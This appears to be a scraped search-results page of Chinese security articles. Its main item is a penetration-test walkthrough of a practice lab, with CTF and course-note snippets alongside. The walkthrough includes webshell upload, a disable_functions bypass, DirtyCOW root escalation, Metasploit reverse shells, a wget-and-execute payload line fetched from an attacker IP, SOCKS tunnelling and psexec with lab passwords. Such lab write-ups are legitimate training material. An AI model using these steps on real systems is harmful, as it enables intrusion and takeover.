精华内容
下载资源
问答
  • 红日靶场第三关

    千次阅读 2021-11-18 23:42:14
    红日靶场第三关 一、环境配置 打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。 挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。 除重新...

    红日靶场第三关

    一、环境配置

    打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
    挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
    除重新获取ip,不建议进行任何虚拟机操作。
    参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
    
    注:名称及网段必须符合上述图片,进行了固定ip配置。
    本次环境为黑盒测试,不提供虚拟机账号密码。
    win10/kali:VMnet11 攻击机
    web-centos:VMnet10、VMnet11 外网
    web1-ubantu:VMnet10 内网反代肉鸡
    pc:VMnet10 内网PC
    win2008:VMnet10
    win2012:VMnet10
    
    • 在虚拟机的网络编辑器中添加两个host only网卡,ip段分别为192.168.1.0/24和192.168.93.0/24

    在这里插入图片描述

    • 刚开启web-centos时输入命令:service network restart命令重启网卡,不然没法访问外网的IP地址。

    二、目标

    目标:域控中存在一份重要文件。
    

    三、WEB外网打点

    3.1 信息收集:

    3.1.1 发现资产

    外网机处于网端192.168.1.0/24中,nmap查找资产。

    发现肉鸡ip为192.168.1.130,开放了80端口,判断sql类型为mysql:3306

    在这里插入图片描述

    3.1.2 网站信息&目录信息

    CMS:Joomla
    语言:php
    反向代理:Nginx
    

    在这里插入图片描述

    dirsearch:(找了大半圈…)

    SQL :用户名:testuser 密码:cvcvgjASD!@

    在这里插入图片描述

    3.1.3 数据库连接

    在这里插入图片描述

    3.1.4 获得用户名和密码

    加过盐,尝试看添加用户方法。

    在这里插入图片描述

    3.1.4.1 Joomla帮助文档
    #更改用户名和密码:
    "方法1:configuration.php文件"
    如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件,然后你就可以恢复密码使用以下方法。
    1。使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值,然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。
    2. 下载配置文件。
    3. 打开configuration.php文件被下载的文本编辑器,比如notepad++并添加这行
    public $root_user='myname';
    在列表的底部,myname是一个用户名,管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。
    4. 保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。
    此用户现在将是临时的超级管理员。
    5. 登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户,您可能需要根据您的情况来阻止或删除旧用户。
    6.当完成后,务必使用这里的“点击尝试自动”环节中出现的警告框,删除线,加入到configuration.php文件。如果使用链接不成功,然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。
    7. 使用你的FTP程序,验证了configuration.php文件的文件权限,他们应该是444。如果你手动删除添加的行,然后更改文件权限的configuration.php文件444#编辑数据库加入超极管理
    "方法1:直接编辑数据库"
    如果上面的方法不起作用,你还有另外两个选项,这两个选项都需要直接与MySQL数据库一起工作。
    更改数据库中的密码
    如果管理用户仍然被定义,最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。
    Stop hand nuvola.svg.png确定您更改您的密码一旦您重新访问
    这些指示將说明如何手动更改密码到Word中 - "secret"
        1.导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
        2.找到并单击“添加表_users”在表的列表(注:你可能有一个前缀,jos_,简单地去_users表你的前缀)。
        3.点击“浏览”按钮在顶部工具栏。这将显示为该站点设置的所有用户。
        4.查找要更改其密码的用户并按该行的编辑图标。
        5.将显示允许您编辑密码字段的窗体。复制的意义
        d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
        6.在密码栏中按下“Go”按钮。phpMyAdmin应该显示消息“受影响的行数:1.此时,密码应改为'secret'7.使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器,以确保它们是合法的。如果您已被黑客攻击,您可能要更改网站上的所有密码。
        
    "方法2:添加新超级管理员使用"
    如果更改密码不起作用,或者您不确定哪个用户是超级管理员组的成员,您可以使用此方法创建新用户。
        导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
        按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。这将显示一个字段名为“Run SQL query/queries on database<您的数据库>”。
        删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。
        使用下面的SQL查询添加另一个管理员帐户。
    Stop hand nuvola.svg.png确保您的数据库表前缀匹配!
    下面的代码使用jos31_作为表名的前缀仅是一个示例表前缀。当你第一次安装Joomla的前缀是“random 或你设定的具体过。你需要改变所有发生的jos31_”(你的安装设置前缀)发现,在下面的代码前缀安装使用。
    
    Joomla使用SQL代码  Joomla 2.5 Joomla 3.x Joomla 4.x
    INSERT INTO `jos31_users`
       (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
    VALUES ('Administrator2', 'admin2',
        'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
    INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
    VALUES (LAST_INSERT_ID(),'8');
    
    在这一点上,你应该能够登录到Joomla的后端!用用户名和密码“Admin2”的“密码”。登录后,转到用户管理器并将密码更改为新的安全值,并向帐户添加有效的电子邮件地址。如果有机会你被“黑客攻击”,一定要检查所有的用户是合法的,特别是超级管理员组的任何成员。
    Stop hand nuvola.svg.pngWarning!
    警告:此页上显示的密码值为公开知识,仅用于恢复。您的网站可能会被黑客攻击,如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。
    
    上面的例子更改密码为“select”。其他两个可能的值如下所示:
    - password = "this is the MD5 and salted hashed password"
    ------------------------------------------------------
    - admin  = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
    - secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
    - OU812  = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
    
    

    将命令写入:

    • 建议把上面的admin2改成admin123456,不知道为什么我admin2无法登录。

    在这里插入图片描述

    3.2 模板注入Getshell

    找到模板模块

    在这里插入图片描述

    任选一个:

    在这里插入图片描述

    直接挂马:创建一个新的文件,上马连。

    在这里插入图片描述

    成功getshell

    在这里插入图片描述

    3.3 disable_function绕过

    说明:
    # php文件中禁用的函数名,来源于文件/etc/php.ini
    禁用如下: 
    phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen
    

    判断是disable_function禁用了命令,需要绕过,这里选择跳给蚁剑绕。

    在这里插入图片描述

    3.3.1 中国蚁剑上线

    用上述方法重复一次即可上线。

    推荐蚁剑插件:

    检测永恒之蓝:         https://github.com/AntSword-Store/AS_MS17-010_Scan
    disable_function绕过:https://github.com/AntSword-Store/as_bypass_php_disable_functions
    木马扫描:            https://github.com/AntSword-Store/as_trojan_scans
    出网探测:            https://github.com/AntSword-Store/AS_Out-of-Network
    

    在这里插入图片描述

    选择插件绕过:

    在这里插入图片描述

    选择:

    在这里插入图片描述

    3.3.2 成功绕过

    在这里插入图片描述

    3.4 拿下WEB机和反向代理服务器

    cd /etc/nginx/
    cat nginx.conf
    

    在这里插入图片描述

    发现真实WEB服务IP地址为192.168.93.120

    而centos则是提供反向代理的Nginx服务器192.168.93.100

    四、MSF上线

    4.1 ssh登录

    文件/tmp/mysql/test.txt中暴露用户名:wwwuser 密码:wwwuser_123Aqx (这里我找不到文件,ssh直接连的)

    在这里插入图片描述

    4.2 脏牛提权

    脏牛漏洞 (CVE-2016-5195)对CentOS 进行提权
    EXP下载:https://github.com/FireFart/dirtycow
    将代码上传到一个可以执行的文件夹内,可以尝试我的方法:
    # Xshell连接后——>开启ftp服务——>脏牛传入tmp中——>xshell输入命令
    xshell命令:到可执行文件cd /tmp
    编译脏牛:gcc -pthread dirty.c -o dirty -lcrypt
    给编译文件设密码:./dirty 123456         id 	显示用户的ID,以及所属群组的ID;uid=0,为root用户
    给系统添加了一个管理员用户:用户名:firefart   密码:123456
    

    在这里插入图片描述

    在这里插入图片描述

    新建一个连接ssh连,直接就是root用户。

    4.3 反弹shell给msf

    msf生成Linux的shell,用于后期代理横向:

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=9999 -f elf > shell.elf
    

    在这里插入图片描述

    4.3.1 配置监听

    > use exploit/multi/script/web_deliverymsf6 exploit(multi/script/web_delivery) > set LHOST 192.168.1.129msf6 exploit(multi/script/web_delivery) > set LPORT 9999msf6 exploit(multi/script/web_delivery) > set target 7msf6 exploit(multi/script/web_delivery) > show targets(查target,选择Linux)Exploit targets:   Id  Name   --  ----   0   Python   1   PHP   2   PSH   3   Regsvr32   4   pubprn   5   SyncAppvPublishingServer   6   PSH (Binary)   7   Linux   8   Mac OS Xmsf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/script/web_delivery) > exploit#会生成一段payload:#[*] Run the following command on the target machine:wget -qO okzSAYhF --no-check-certificate http://192.168.1.129:8080/vGQNSa6r6; chmod +x okzSAYhF; ./okzSAYhF& disown
    

    4.3.2 FTP上传

    在这里插入图片描述

    4.3.3 运行并查看

    在这里插入图片描述

    想要进入meterpreter的只需sessions 1即可。

    4.4 端口转发

    4.4.1 路由转发MSF入段

    msf路由转发,让msf进入内网93段sock5代理,让kali进入内网93段msf路由转发> route print> route add 192.168.93.0 255.255.255.0 1> route print
    

    在这里插入图片描述

    4.4.2 socket5代理转发KALI

    #关于proxychains4用proxychains可以启动任何程序,proxychains配合nmap和msf是内网渗透的大杀器,需要注意的是proxychains不支持udp和icmp协议。现在启动nmap,使用TCP扫描,不使用ping扫描,扫描整个内网.
    

    KALI中的操作:

    vim /etc/proxychains4.conf:末尾最后一行注释socks4,添加一行socks5 127.0.0.1 1080> cd /root/ew/      :进入目录> ./ew_for_linux64 -s rcsocks -l 1080 -e 1234
    

    Centos中的操作:

    > cd /tmp/   :上传ew_for_linux64到该目录下> chmod +x *  :添加权限,不然没法执行> ./ew_for_linux64 -s rssocks -d 192.168.131(kali) -e 1234 
    

    centos:

    在这里插入图片描述

    成功:

    在这里插入图片描述

    五、内网横向

    5.1 内网信息收集

    5.1.1 本机信息收集

    ifconfig /all

    外网IP:192.168.1.130 内网IP:192.168.93.100

    在这里插入图片描述

    sysinfo:版本查询

    在这里插入图片描述

    5.1.2 内网资产探测

    msf6 exploit(multi/script/web_delivery) > use auxiliary/scanner/discovery/udp_probe 
    msf6 auxiliary(scanner/discovery/udp_probe) > set rhosts 192.168.93.0-255
    msf6 auxiliary(scanner/discovery/udp_probe) > set threads 10
    msf6 auxiliary(scanner/discovery/udp_probe) > run
    

    在这里插入图片描述

    整理资产:

    192.168.93.100  centos-web (外网机子)
    192.168.93.30   WIN7  (初步判断是PC机子)
    192.168.93.20   WIN2008
    192.168.93.10   WIN2012R2
    

    5.1.3 端口扫描

    proxychains4 nmap -Pn -sT -sV 肉鸡IP -F
    

    WIN2012R2(192.168.93.10):

    在这里插入图片描述

    WIN2008(192.168.93.20):

    在这里插入图片描述

    WIN7(192.168.93.30):

    在这里插入图片描述

    六、psexec传递(win7)

    6.1 拿下win7

    密码只能从网上找,未给测试爆破字典。

    获取会话。目前的情况是windows在内网,添加的路由是把攻击机带入到内网,使用reverse_tcp是连接不上了,只能正向连接。

    win7:192.168.30.30 处于内网
    use exploit/windows/smb/psexec
    set payload windows/x64/meterpreter/bind_tcp
    set rhosts 192.168.93.30
    set smbuser administrator
    set smbpass 123qwe!ASD
    run
    

    在这里插入图片描述

    6.2 win7信息收集

    ipconfig /all

    在这里插入图片描述

    sysinfo

    在这里插入图片描述

    域内Domian:test.org

    6.3 同理拿下win2008

    在这里插入图片描述

    七、无法拿下的域控

    域控机SMB一连就断,无法用psexec传递拿下。
    win2008没有域控的登录日志。
    win2008和win7无法用mimikatz抓取到铭文密码。
    总计问题:
    1.win7拿下后,但shell的连接断断续续。
    2.内网机器都无法用Meterpreter调用mimikatz抓取铭文密码。
    3.未上线至CS,因为需要C2插件。
    
    展开全文
  • 章 信息安全基本概念与原理 1.信息安全概述(掌握-问答题 1.信息与信息安全 1)数据与信息 要了解什么是信息安全,需要先了解什么是信息,什么是数据。 数据是用来反映客观世界而记录下来的可以鉴别的物理符号。...

    第三章 信息安全基本概念与原理

    1.信息安全概述(掌握-问答题

    1.信息与信息安全

    1)数据与信息

    要了解什么是信息安全,需要先了解什么是信息,什么是数据。

    数据是用来反映客观世界而记录下来的可以鉴别的物理符号。有客观性和可鉴别性。

    信息是有一定含义的数据,是加工处理后的数据,是对决策者有用的数据

    香农 C. E. Shannon :信息是用来消除随机不确定性的东西(用熵来表示信息量)

    信息的表现形式:

    1. 以电子数据的方式存储;
    2. 打印或书写在纸上;
    3. 或者以胶片形式显示或者通过交谈表达出来等。

    网络与信息安全的重要意义:

    • 我们已经进入信息社会,信息已经成为一种重要的战略资源。
    • 人们越来越依赖互联网和各种信息系统,信息系统的一次故障或事故会造成巨大的影响甚至灾难。因此信息安全至关重要。

    2)信息安全

    信息安全的核心属性:机密性完整性可用性

    3)信息安全体系结构

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h6ISZ815-1636730584078)(https://i.loli.net/2021/11/10/8pNsXDb3Ptr45kO.png)]

    2.信息安全的发展历程

    (1)密码学

    (2)物理安全。

    物理安全是指通过设备访问控制、边界保护、设备及网络资源管理等措施确保信息系统的保密性完整性。通过容错、故障恢复及系统灾难备份等措施保证信息系统的可用性。

    物理安全是保证计算机信息系统保密性完整性可用性的基础。

    (3)操作系统安全

    一个安全操作系统是指计算机信息系统在自主访问控制、强制访问控制、标记、身份鉴别、客体重用、审计、数据完整性、隐蔽信道分析、可信路径、可信恢复和形式化分析等11个方面满足相应的安全技术要求。

    (4)网络安全

    网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或恶意的原因而遭受破坏、更改和泄露,系统可以连续可靠地运行,网络服务不中断。

    网络安全包括网络设备安全网络信息安全网络软件安全

    (5)软件安全

    常见的软件安全问题包括:

    • 数据库软件安全
    • Web应用软件安全
    • 恶意软件安全防护

    (6)数据安全

    1. 要防止数据丢失,要采取现代信息存储手段对数据进行主动防护,如磁盘阵列、数据备份和恢复以及异地容灾等
    2. 要防止数据泄露,采用现代密码算法对数据进行主动保护,如数据加密,数据完整性检查、双向强身份认证等。
    3. 还需要防止数据被非法访问和盗取,在数据传输和处理过程中对数据的防护也很重要。

    2.信息安全的威胁(了解-选填

    1) 信息安全的主要威胁

    信息安全所面临的主要威胁:

    1. 人为的失误
    2. 信息截取
    3. 内部窃密和破坏
    4. 黑客攻击
    5. 技术缺陷
    6. 病毒

    计算机网络安全威胁归纳起来常表现为以下特征

    1. 窃听
    2. 重传
    3. 伪造
    4. 拒绝服务攻击
    5. 篡改
    6. 行为否认
    7. 非授权访问
    8. 传播病毒

    2) 攻击者实施攻击的主要对象

    信息安全威胁的基本类型

    1)针对网络基础设施的攻击

    2)针对公共互联网的攻击

    主要表现在木马僵尸网络、拒绝服务攻击、安全漏洞、网络数据泄露、移动互联网恶意程序、网页仿冒、网站攻击等

    在安全漏洞方面,涉及重要行业和政府部门的高危漏洞事件增多

    移动应用程序成为数据泄露的新主体

    3)新兴信息技术带来的安全威胁

    物联网、云计算、大数据和移动互联网被称为新一代信息技术“四驾马车”。

    3) 社会工程学攻击

    又称社交工程学

    是一种通过对受害者心里弱点、本能反应、好奇心、信任、贪婪等信息陷阱进行诸如欺骗、伤害等危害手段取得自身利益的手法

    社会工程学攻击方式

    (1)假托。是一种制造虚假情形,以迫使针对受害人吐露平时不愿泄露的信息的手段。
    (2)调虎离山
    (3)钓鱼
    (4)在线聊天/电话钓鱼
    (5)下饵
    (6)等价交换。攻击者伪装成公司内部技术人员或者问卷调查人员,要求对方给出密码等关键信息。
    (7)尾随

    3.信息安全体系结构(了解

    信息安全体系是构成信息系统的组件、环境和人(用户和管理者)的物理安全、运行安全、数据安全、内容安全、应用安全、管理安全与信息资产安全的综合,是一个多维度、多元素、多层次、时变的非线性复杂系统。

    其最终安全目标是控制信息系统的总风险趋于稳定并达到最小(绝对安全的信息系统是不存在的)。

    1 面向目标的信息安全体系结构

    image-20211110173251220

    2 面向过程的信息安全保障体系结构

    信息安全保障的定义

    保护和防御信息及信息系统,确保其机密性、完整性、可用性、可认证性、不可否认性等特性,包括信息系统中融入保护、检测、响应功能,并提供信息系统的恢复功能。

    这个定义明确了机密性、完整性、可用性、可认证性、不可否认性这五个安全属性,提出了保护(Protect)、检测(Detect)、响应(React)、恢复(Restore)这四个动态的工作环节,强调了信息安全保障的对象不仅是信息,也包括信息系统,即PDRR动态安全模型。

    信息保障技术框架(Information Assurance Technical Framework ,IATF)

    3 面向应用的层次信息安全体系结构

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nxgg1hzd-1636730584081)(https://i.loli.net/2021/11/10/eObm461tdWI5xnL.png)]

    4 面向网络的OSI信息安全体系结构

    image-20211110174251516

    OSI(Open System Interconnect) 开放式系统互联

    1.安全服务

    安全服务(Security Service)是指计算机网络提供的安全防护措施

    (1)鉴别服务:可以鉴别参与通信的对等实体和源;授权控制的基础;提供双向的认证;一般采用高的密码技术进行身份认证
    (2)访问控制:控制不同用户对信息资源访问权限;要求有审计核查功能;尽可能地提供细粒度的控制
    (3)数据完整性:指通过网上传输的数据应防止被修改、删除、插入替换或重发,以保证合法用户接收和使用该数据的真实性;用于对付主动威胁。
    (4)数据保密性:提供保护,防止数据未经授权就泄露,基于对称密钥和非对称密钥加密的算法。
    (5)抗抵赖性:接收方要发送方保证不能否认收到的信息是发送方发出的信息,而不是被他人冒名篡改过的信息;发送方也要求对方不能否认已经收到的信息,防止否认对金融电子化系统很重要。

    2.安全机制

    (1)数据加密机制:向数据和业务信息流提供保密性,对其他安全机制起补充作用;
    (2)数据签名机制:对数据单元签名和验证,签名只有利用签名者的私有信息才能产生出来;
    (3)访问控制机制:利用某个实体经鉴别的身份或关于该实体的信息或该实体的权标,进行确定并实施实体的访问权;可用于通讯连接的任何一端或用在中间连接的任何位置;
    (4)数据完整性机制:两个方面,单个的数据单元或字段的完整性、数据单元串或字段串的完整性;
    (5)鉴别交换机制:通过信息交换以确保实体身份的机制;

    (6)业务填充机制:一种制造假的通讯实例、产生欺骗性数据单元或在数据单元中产生假数据的安全机制;提供对各种等级的保护,防止业务分析;只在业务填充受到保密性服务时有效;
    (7)路由控制机制:路由既可以动态选择,也可以事先安排;携带某些安全标签的数据可能被安全策略禁止通过某些子网、中继站或链路;连接的发起者可以请求回避特定的子网、中继站或链路;
    (8)公证机制:关于在两个或三个实体之间进行通选的数据的性能,可由公证机制来保证;保证由第三方提供;第三方得到通讯实体的信任。

    展开全文
  • [MRCTF2020]三关套娃writeup

    千次阅读 2021-11-28 17:48:19
    考点 ... ... jother编码解码 ...第一 <!-- //1st $query = $_SERVER['QUERY_STRING']; if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE

    考点

    • PHP解析字符串特性

    • PHP弱类型绕过

    • jother编码解码

    • Client-ip伪造ip

    • data://伪协议

    • change函数

    第一关

    <!--
    //1st
    $query = $_SERVER['QUERY_STRING'];
    
     if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
        die('Y0u are So cutE!');
    }
     if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
        echo "you are going to the next ~";
    }
    !-->

    倒着审计,第一个条件,首先以GET方式传入b_u_p_t,b_u_p_t的值不能为23333,但是如果正则匹配到23333,则跳转下一关,这个条件只需利用php弱类型绕过即可。第二个条件,$_SERVER['QUERY_STRING']将?后获取的值会赋给变量$query

    条件如下,substr_count()函数会计算"_或%5f"在字符串中出现的次数满足或语句即可

    if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 )

    举个例子

    <?php
    	$a="%20";
    	if( substr_count($a, ' ') !== 0 || substr_count($a, '%20') != 0 )
    	{
    echo "yes";
    	}
    ?>

    前面提到的substr_count函数,所以get参数不能带下划线,我们可以用某些特殊字符来代替

    PHP的字符串解析特性Bypass

    PHP将查询字符串在URL或中文中转换为内部$GET或$POST,如/?foo=bar变成Array([foo] => "bar");但是查询字符串在解析的过程中会将某些字符删除或用下划线代替,如/?%20news[id%00=42会转换为Array([news_id] => 42),可见在解析字符时,会删除空白符,也将某些特殊字符转换为下划线(包括空格)

    http://www.freebuf.com/articles/web/213359.html

    payload:

    /?b+u+p+t=23333%0a

    第二关

    右击查看源码

    jother编码解码网址:JSFuck - 在线加解密

    题目意思应该想以POST传入Merak随意赋值

    第三关

    <?php 
    error_reporting(0); 
    include 'takeip.php';
    ini_set('open_basedir','.'); 
    include 'flag.php';//包含并执行flag.php,这应该是触发flag的最后一步
    
    if(isset($_POST['Merak'])){ 
        highlight_file(__FILE__); 
        die(); 
    } //检测是否以post传入Merak,true则不执行下面代码
    
    
    function change($v){ 
        $v = base64_decode($v); 
        $re = ''; 
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) + $i*2 ); 
        } 
        return $re; 
    }
    echo 'Local access only!'."<br/>";
    $ip = getIp();
    if($ip!='127.0.0.1')
    echo "Sorry,you don't have permission!  Your ip is :".$ip;
    if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    echo "Your REQUEST is:".change($_GET['file']);
    echo file_get_contents(change($_GET['file'])); }
    ?>  

    第一个判断:

    先跳过change函数,$ip = getIp()用来获取客户端ip,如果符合$ip === '127.0.0.1'即可,这个条件很容易满足,利用X-Forwarded-For或Client-ip伪造即可,关键是第二个条件

    if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )

    file_get_contents函数把文件读入一个字符串,但是后面的值使用的单引号,并且中间使用===来判断,之后发现可以使用data://进行转换,格式为格式为data://text/plain;base64,先将todat is a happy day进行base64编码,得到dG9kYXQgaXMgYSBoYXBweSBkYXk=

    初步payload为:/?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=且ip为127.0.0.1  

    第二个判断:  

    echo "Your REQUEST is:".change($_GET['file']);
    echo file_get_contents(change($_GET['file'])); 

    我们需要利用file_get_contents触发flag.php的内容,但是这里的file_get_contents不会直接处理以get提交的file的值,利用change处理

    function change($v){ 
        $v = base64_decode($v); 
        $re = ''; 
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) + $i*2 ); 
        } 
        return $re; 
    }

    其实很简单,既然这样加密反着写就行

    <?php
    function unchange($v){  
        $re = ''; 
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) - $i*2 ); 
        } 
        return $re; 
    }
    $ganyu = unchange('flag.php');
    echo $ganyu;
    ?>

    再用base64编码,得到ZmpdYSZmXGI=,以get传入

    payload:/?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=

    展开全文
  • IP-guard安全策略路由的配置

    千次阅读 2021-10-08 17:36:32
    也就是说原有网络的路由策略在哪个设备配置,策略路由也应该在同一个设备上配置,一般是核心层交换机。 策略路由只对接口的入方向报文做转发。 二、 策略路由的报文处理流程 策略路由只不过是复杂的静态路由。...

    IP-guard策略路由的配置

    一、 策略路由介绍

    策略路由(PBR:policy-based route):是一种依据用户制定的策略进行路由选择的机制。

    • 策略路由和路由策略都属于路由的配置,一般应该在同一个设备上配置。也就是说原有网络的路由策略在哪个设备配置,策略路由也应该在同一个设备上配置,一般是核心三层交换机。
    • 策略路由只对接口的入方向报文做转发。

    二、 策略路由的报文处理流程

    策略路由只不过是复杂的静态路由。静态路由是基于报文的目的地址,将报文转发到指定的下一跳路由器,但策略路由是基于报文源地址转发报文至指定的下一跳路由器。策略路由还可以链接到扩展 IP 访问列表,以便路由器可以基于像协议类型和端口号这样的标志进行路由选择。同策略路由一样,策略路由会对路由器的路由选择产生影响,但仅限于那些配置了策略路由的路由器。

    策略路由位于 IP 层,在做 IP 转发前,如果报文命中某个策略路由对应的规则,则要进行相应的策略路由的动作(重定向到指定下一跳),然后根

    展开全文
  • 恶意代码检测(4)编写代码自动提取IAT表、字符串及时间戳溯源地区 [系统安全] 十五.Procmon工具基本用法及文件进程、注册表查看 [系统安全] 十六.APT系列(1)APT攻击溯源防御与常见APT组织的攻击案例 [系统安全] ...
  • 随着新能源产业的高速发展,我国已经成为全球新能源利用规模最大的国家。2010年以后,新能源进入了高速增长期,尤其是以光伏发电、风力发电为代表的新能源发电装机规模出现爆发式增长。 使用以信息化、自动化、...
  • 这个是POST,要用bp来做,过程和之前一样。 这里说下bp操作的要点,首先你要在bp的proxy的option添加你的代理,我们一般用本机的127.0.0.1:8080,浏览器的代理也要设置,这里推荐FoxyProxy。...
  • 最近私信我和加我好友的同学非常多,有的是来询问我学习软件测试的方法及顺序。有的来问我怎么教学,也有的同学询问他的条件转软件测试还靠谱吗,这个问题还挺多。...所以,这个是第一个之年龄..
  • 电脑不掉怎么办?

    2021-07-29 05:04:36
    Win XP关机故障对于Windows XP来说,由于其采用了安全性能较高的NT内核,系统运行还算稳定,除了关机速度较慢之外,一般情况下很少发生关机故障。但下述一些故障现象您还应予以关注。对于Windows XP来说,由于其采用...
  • 记得位专家说过一句话,任何一个行业都可以用信息化的方式重新做一遍,看来真的不假!!!~_^ 这不又是年底将近,JAVA界在前几天就曝出一个惊天大漏洞【Log4j 2日志漏洞】,搞得各大行业、公司、产品,只要使用...
  • xssgame第九至第十

    千次阅读 2021-10-05 16:14:28
    第九 这一关,我发现无论我输入什么,都是不合法链接 另外,"和>都被过滤了 两项对比 只是少了一个http,就显示不合法链接,问题就出在 http:// 这个身上 所以我们要在输入的语句中添加http:// ...
  • 网络信息安全攻防学习平台(基础)一、key在哪里项目场景:解决方法:二、再加密一次你就得到key啦项目场景解决方法:、猜猜这是经过了多少次加密项目场景:解决方法:四、据说MD5加密很安全,真的是么项目场景...
  • 哼,取!???? 打扰了,这里虽然是flutter工程,不过最终体现还是以pod的形式存在于Xcode原生工程中,博主看过一些类似的博文,有博主就是直接在pod中建文件夹把framework拖进去的。不过我们博主今天肯定不会讲这种...
  • Upload-labs靶场_第1~12总结靶场介绍二级目录级目录 靶场介绍 二级目录 级目录
  • 电脑是一种耐用的高科技电子产品,一般情况下,其硬件是不会出现故障的,所以平时遇到的电脑故障绝大部分是软故障,即软件本身的故障或软硬件使用、配置不当所引起的故障,最近就有很多小伙伴反映电脑不了机或关机后又...
  • Linux系统中文件/目录还存在特殊的属性,这些特殊文件系统的安全管理方面起很重要的作用。 本实训主要讲解如何对Linux文件/目录设置特殊的权限和特殊属性。 ## 第1:Linux文件/目录setuid和setgid 任务描述相关...
  • 摘要:要想相鉴种疾病应与以下别冻疮。维图机的有防不必雷措风力发电风轮施。工作关重做好要维护是致,做法行周期机组要保稳定的运持长风力发电。...要想相鉴种疾病应与以下别冻疮。外部虑到当考成本时,使...
  • upload靶场第一-二十一

    千次阅读 2021-11-19 20:54:58
    利用upload靶场第四做apache 2.x解析漏洞复现 环境配置: 首先在phpstudy打开配置文件httpd-conf 打开文件找到下面这个地方,添加箭头所指的那句代码,环境就配置好了 apache 2.x解析漏洞原理: ...
  • XSS入门闯详解1-5

    2021-01-08 21:27:22
    第一 没有任何的幺蛾子,最简单的<script>alert(1)</script>即可。 第二 尝试经典代码失败后查看源代码,发现输入的代码被闭合了。 可以通过">来闭合前边value标签,这里我输入的是">111...
  • 环境还没,良心比赛方,赶紧趁着复现复现 文章目录pklovecloudPNG图片转换器EasyCleanupyet_another_mysql_injectionWebFTP pklovecloud 是个pop链,需要注意的地方是acp类型中的成员cinder是protected属性的,...
  • 你的服务器是否安全?网站又被黑客入侵了?服务器又瘫痪了?怎么让服务器更安全些啊?本节主要讲述网站的基础服务apache如何配置更加安全?如果基础服务都被入侵了,你的网站又怎么可能运行正常?
  • 摘要:本书系统地介绍了计算机安全领域中的各个方面,全面分析了计算机安全威胁、检测与防范...此外,本书还探讨了满足安全需求的各种设计方法,阐释了对于当前安全解决方案至重要的标准。 本书思路清晰,结构严谨,...
  • 红日靶场第一

    千次阅读 2021-11-16 14:44:12
    红日靶场第一 一、环境配置 NET网卡(kali、windows) kali:172.16.12.187 windows:172.16.12.1 靶机win7:172.16.12.127 VMnet2网卡(内网靶机Win2K3、内网靶机Win2008 R2) 内网靶机Win2K3:192.168.52.141 ...
  • upload-labs之第一

    千次阅读 2021-10-27 19:23:01
    目前一共20,每一关都包含着不同上传方式。 靶场安装 由于upload-labs 是一个由php 语言编写的靶场,因此需要在php环境下进行使用。我这里推荐用phpstudy集成环境。 靶场项目地址:GitHub - c0ny1/upload-...
  • 本文主要就用export实用程序导出数据库对象、Oracle冷备份、Oracle热备份这种最基本的备份方法进行详细的探讨,分析各自的优缺点和适用的场合,并给出自动执行这些备份方案的脚本文件。 Oracle数据库有种标准的...
